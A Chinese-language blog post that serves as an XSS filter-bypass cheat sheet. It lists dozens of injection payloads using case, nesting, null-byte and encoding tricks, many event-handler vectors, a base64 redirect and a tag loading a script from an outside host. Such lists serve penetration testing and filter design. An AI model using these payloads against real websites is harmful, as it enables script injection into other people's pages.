xss产生的缘由是将恶意的html脚本代码插入web页面,底层原理和sql注入同样,都是由于js和php等都是解释性语言,会将输入的当作命令执行,因此能够注入恶意代码执行咱们想要的内容javascript
<script>alert('xss')</script> //没有过滤 <Script>alert('xss')</Script> //大小写绕过 <scscriptript>alert('xss')</scscriptript> //嵌套绕过 <sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过 " oonnclick=alert('XSS') // //闭合单双引号绕过(对于html实体输入的和过滤< >)
<a herf="javascript:alert(1)">show</a> <body onload=alert(1)> <input type=image src=x:x onerror=alert(1)> <isindex onmouseover="alert(1)" > <form oninput=alert(1)><input></form> <textarea autofocus onfocus=alert(1)> <input oncut=alert(1)> <svg onload=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="alert(1)"> <marquee onstart=alert(1)>
<a herf="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a> <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
在线编码地址:http://tool.chinaz.com/tools/unicode.aspxphp
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> <script>\u0061lert(1)</script> <img src="x" onerror="alert("xss");">
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
可以使用浏览器插件快速编码
html
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
<img src=x onerror="\u0061lert(1)"/> <img src=x onerror="eval('\141lert(1)')"/> <img src=x onerror="eval('\x61lert(1)')"/> <img src=x onerror=”alert(1)”/> <img src=x onerror=”alert(1)”/> <img src=x onerror=”eval(‘\a\l\ert(1)‘)”/>
onsearch onwebkitanimationend onwebkitanimationiteration onwebkitanimationstart onwebkittransitionend onabort onblur oncancel oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncuechange ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended onerror onfocus onformdata oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onpause onplay onplaying onprogress onratechange onreset onresize onscroll onseeked onseeking onselect onstalled onsubmit onsuspend ontimeupdate ontoggle onvolumechange onwaiting onwheel onauxclick ongotpointercapture onlostpointercapture onpointerdown onpointermove onpointerup onpointercancel onpointerover onpointerout onpointerenter onpointerleave onselectstart onselectionchange onanimationend onanimationiteration onanimationstart ontransitionend onafterprint onbeforeprint onbeforeunload onhashchange onlanguagechange onmessage onmessageerror onoffline ononline onpagehide onpageshow onpopstate onrejectionhandled onstorage onunhandledrejection onunload
"onclick=alert(1)// 来减小字数
"onclick="eval(location.hash.sustr(1))
<svg/onload=alert()> <script/src=//⑭.₨>
参考文章:https://nosec.org/home/detail/3206.htmljava
深刻理解浏览器解析机制和XSS向量编码:http://bobao.360.cn/learning/detail/292.html
XSS过滤绕过速查表:https://www.freebuf.com/articles/web/153055.html
《白帽子讲web安全》
欢迎访问个人我的博客:https://lmg66.github.io/
说明:本文仅限技术研究与讨论,严禁用于非法用途,不然产生的一切后果自行承担git